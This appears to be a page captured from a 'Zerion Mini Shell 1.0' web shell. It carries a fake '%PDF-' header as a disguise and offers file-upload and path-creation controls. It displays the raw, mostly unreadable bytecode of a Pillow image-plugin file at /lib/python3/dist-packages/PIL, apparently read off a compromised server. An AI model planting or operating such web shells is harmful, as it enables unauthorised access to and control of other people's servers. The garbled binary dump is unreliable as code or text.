%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/PIL/__pycache__/MpoImagePlugin.cpython-312.pyc

�

��eo��~�ddlmZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZddlm
ZddlmZd�Zd�ZGd	�d
e
j$�Zej(ej*e�ej,ej*e�ej.ej*d�ej0ej*d�y)
�)�annotationsN�)�ExifTags�Image�	ImageFile�
ImageSequence�JpegImagePlugin�TiffImagePlugin)�i16be)�o32lec�2�tj|||�y�N)r	�_save)�im�fp�filenames   �4/usr/lib/python3/dist-packages/PIL/MpoImagePlugin.pyrr&s�����"�b�(�+�c
���|jjdg�}|s	|j}|st	|||�yd}g}tj|g|�D�]"}tj|�D�]}|s�dtjdd�zdzdz|jd	<|jjd
�}	t|	tj�r|	j�}	|	|jd
<|	r|dt|	�zz
}t!j|||�|j#|j%����|j'|d�|j#|j%�|d
z
���	��%t)j*�}
d|
d<t|�|
d<d}d}t-|�D];\}
}|
dk(rd}nd}|tjd|||dd�z
}|
dk(r||z}||z
}�=||
d<|j/|�|j1dt3d�z|
jd�z�|j/dt4j6�y#t$rd}Y��9wxYw)N�
append_imagesF�s��z>H�XsMPFsR                                                                                  �extra�exif��JPEG���s0100i���rriz<LLLHH��sII*�)�encoderinfo�get�is_animated�AttributeErrorr�	itertools�chainr�Iterator�struct�pack�
isinstancer�Exif�tobytes�lenr	�append�tell�saver
�ImageFileDirectory_v2�	enumerate�seek�writer�os�SEEK_END)rrrr�animated�
mpf_offset�offsets�
imSequence�im_framer�ifd�	mpentries�data_offset�i�size�mptypes                r�	_save_allrB*sE���N�N�&�&���;�M��	��~�~�H���"�b�(�#���J��G��o�o�r�d�M�:�8�
�%�.�.�z�:�	8�H�� �&�+�+�d�F�";�;�h�F��R��$�$�W�-� �+�+�/�/��7���d�E�J�J�/��<�<�>�D�37�H�(�(��0���!�c�$�i�-�/�J��%�%�h��H�=����r�w�w�y�)��
�
�b�&�)����r�w�w�y�7�2�;�6�7�#	8�8�(�
/�
/�
1�C��C��K��g�,�C��K��I��K��W�%����4���6��F��F��V�[�[��6�4��a��K�K�	���6��:�%�K��t�����C��K��G�G�J���H�H�]�U�1�X�
%����A��
6�7��G�G�A�r�{�{���_�	��H�	�s�I�I&�%I&c�J�eZdZdZdZdZd�Zdd�Zd�Zd�Z	d	�Z
edd
��Zy)�MpoImageFile�MPOzMPO (CIPA DC-007)Fc��|jjd�tjj	|�|j�y)Nr)rr3r	�
JpegImageFile�_open�_after_jpeg_open��selfs rrHzMpoImageFile._openjs1�������Q���%�%�+�+�D�1����rNc�8�|j|_|�|n|j�|_|jd|_|jdD�cgc]}|d|j
dz��c}|_d|jd<|jt|j�k(sJ�|j
d=|jdkD|_|j|_
|jj|jd�d|_d|_
d|_ycc}w)Nrr�
DataOffset�mpoffsetrr)r@�
_initial_size�_getmp�mpinfo�n_frames�info�_MpoImageFile__mpoffsetsr-r#r�_fpr3�_MpoImageFile__frame�offset�readonly)rK�mpheader�mpents   rrIzMpoImageFile._after_jpeg_openos���!�Y�Y���"*�"6�h�D�K�K�M������F�+��
�EI�[�[�QW�EX�
�<A�E�,��$�)�)�J�"7�7�
��� �������}�}��D�$4�$4� 5�5�5�5��I�I�j�!��=�=�1�,����7�7������
�
�d�&�&�q�)�*���������
��
s�Dc�:�|jj|�yr)rUr3)rK�poss  r�	load_seekzMpoImageFile.load_seek�s�����
�
�c�rc���|j|�sy|j|_|j||_|jj|jdz�|jj
d�}|s
d}t|��|j|_	t|�dk(r�t|jj
d��dz
}tj|j|�|jd<|j�|jd|dd}|j!d�rz|j#�j%t&j(j*�}d	|vr?d
|vr;|d	|d
f|_	n+d|jvr|jd=|j�dd|j,z|j|j.d
ffg|_||_y)N�zNo data found for framei�rr�	Attribute�MPTypezLarge Thumbnaili�i��jpeg)rr�)�_seek_checkrUrrTrWr3�read�
ValueErrorrO�_size�i16r�
_safe_readrS�_reload_exifrQ�
startswith�getexif�get_ifdr�IFDr+r@�mode�tilerV)rK�frame�segment�msg�nrArs       rr3zMpoImageFile.seek�s�������&���(�(����&�&�u�-��������T�[�[�1�_�%��'�'�,�,�q�/���+�C��S�/�!��'�'��
��w�<�6�!��D�G�G�L�L��O�$�q�(�A� )� 4� 4�T�W�W�a� @�D�I�I�f�������[�[��(��/��<�X�F�F�� � �!2�3��|�|�~�-�-�h�l�l�.?�.?�@���D�=�U�d�]�"&�u�+�t�E�{�!;�D�J�
�t�y�y�
 ��	�	�&�!������f�t�y�y�0�$�+�+��	�	�2��O�P��	���rc��|jSr)rVrJs rr/zMpoImageFile.tell�s���|�|�rc�>�t|_|j|�|S)aC
        Transform the instance of JpegImageFile into
        an instance of MpoImageFile.
        After the call, the JpegImageFile is extended
        to be an MpoImageFile.

        This is essentially useful when opening a JPEG
        file that reveals itself as an MPO, to avoid
        double call to _open.
        )rD�	__class__rI)�
jpeg_instancerYs  r�adoptzMpoImageFile.adopt�s ��#/�
���&�&�x�0��rr)
�__name__�
__module__�__qualname__�format�format_description�!_close_exclusive_fp_after_loadingrHrIr]r3r/�staticmethodry�rrrDrDes@��
�F�,��(-�%� �
�(��:��
��
rrDz.mpoz	image/mpo)�
__future__rr%r5r(rcrrrrr	r
�_binaryrrhrrrBrGrD�
register_saver}�register_save_all�register_extension�
register_mimer�rr�<module>r�s���(#��	�
���"��,�4�vO�?�0�0�O�r����L�'�'��/������+�+�Y�7������,�,�f�5�����L�'�'��5r

Zerion Mini Shell 1.0